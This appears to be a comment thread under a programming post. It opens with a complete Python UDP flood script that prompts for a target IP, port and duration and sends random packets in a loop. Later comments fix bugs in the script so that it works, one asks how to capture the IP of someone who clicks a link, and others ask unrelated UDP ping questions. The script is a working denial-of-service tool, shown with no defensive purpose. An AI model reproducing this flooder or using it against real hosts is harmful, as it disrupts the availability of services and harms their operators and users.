Just in case you guys use python v3.0++

import socket
import random
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bytes = random._urandom(1024)

ip = input('Target IP: ')
port = int(input('Port: '))
duration = input('Number of seconds to send packets: ')
timeout = time.time() + float(duration)
sent = 0

while True:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes, (ip, port))
sent = sent + 1
print("Sent %s packet to %s through port %s"%(sent, ip, port))

I have a problem. The _urrandom thing in the random module doesn't exist.

Hi, I am trying to test the reliability of UDP protocol by implementing a ping server & ping client. So basically the server program will sit in an infinite loop for incoming UDP packets. Lets say if a packet comes from the client side, & if a randomized integer >=4, the server will simply modify the client's message and sends back to the client. Also the client ping program should calculate the Round Trip Time for each packet(lets say I m sending 10 packets from the client). The server will print the successful response or timeout response.

How can we insert timestamp in the packet ?

There is an error in this code. I rectified it by putting port = int(input('Port: '))

This corrected the sock.sendto error.

Hope this helps!

Curious to know if this actually works, will try when I get home.

How do you program the packet to send you the IP when they click on a link?

[saisaketh]

Very good and easy expalnation!
what if there are multiple connections to the system sending this packets?
How to send only selected files to some selected connections?
Is there any method that the destination system is able to reply with another IP Packet?
I know I am asking too much, but kindly let me know.

I am using python 3.6 and got this error.

timeout = time.time() + duration
TypeError: unsupported operand type(s) for +: 'float' and 'str'

Any idea how to fix this.
